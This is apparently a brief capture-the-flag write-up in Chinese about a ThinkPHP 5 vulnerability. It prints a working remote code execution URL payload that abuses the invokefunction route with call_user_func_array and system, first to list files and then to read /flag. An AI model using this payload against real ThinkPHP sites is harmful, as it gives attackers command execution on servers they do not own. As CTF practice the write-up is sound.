ThinkPHP版本5的相关漏洞
发现版本号
查了查漏洞
构造payload
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
修改下,寻找flag
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
得到flag